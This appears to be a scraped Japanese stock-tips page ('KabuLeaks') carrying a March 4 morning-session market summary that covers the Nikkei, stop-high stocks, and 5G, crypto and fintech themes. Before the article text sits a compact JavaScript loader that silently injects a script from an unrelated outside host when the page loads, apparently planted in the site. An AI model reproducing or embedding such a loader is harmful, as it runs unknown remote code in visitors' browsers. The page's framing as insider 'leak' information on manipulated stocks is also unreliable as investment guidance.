;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【3/4 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【3/4 前引け】

前場の日経平均株価は4円安と小反落。前日の米市場は上昇も直近3連騰の反動、週末要因、米2月雇用統計を控え利益確定売り優勢のスタート。ただ、売り一巡後はしっかり押し目買いも入り下げ幅を縮小、引けにかけ一時プラ転する場面もあった。

個別では、雑貨屋ブルドッグと経営統合の【3536】アクサスHDが3日連続のストップ高と人気を集めるほか、米レッドシール社との国内販売代理店契約を締結を発表した【3394】ネットワークバリューコンポネンツ もストップ高に。また、前日にトリナ・ソーラー・ジャパンと太陽光パネルの受託加工に関する長期契約を締結したと発表した【6255】エヌ・ピー・シーが続急伸となっているほか、太陽光発電が出来る繊維を開発したと報じられ【3501】住江織物も急伸、東証一部上昇率トップとなっている。その他、いちよし経済研究所が大幅に目標金額を引き上げた【6058】ベクトル。スタンフォード大学との提携を引き続き材料視の【2372】アイロムグループなどの上昇も目立っている。

テーマ株からは前日引け後に上方修正発表の「5G」関連の【6778】アルチザネットワークス。同じく5G関連から本命とされる【3852】サイバーコムAR・VR関連の【4312】サイバネット。仮想通貨関連からは完全に大相場に発展している【8732】マネパを筆頭に【3696】セレスなども人気。また、直近調整が目立ったフィンテック関連。【3778】さくらインタ、【3853】インフォテリアなども久々の上昇となっている。

日経平均は底堅く上昇基調が継続しそうな雰囲気に見えるが、週末要因、今晩の雇用統計見極めから後場は上値が重くこう着感の強い相場展開が予想される。まずは今晩の雇用統計をきっかけに週明け1万7000円台乗せに期待したい。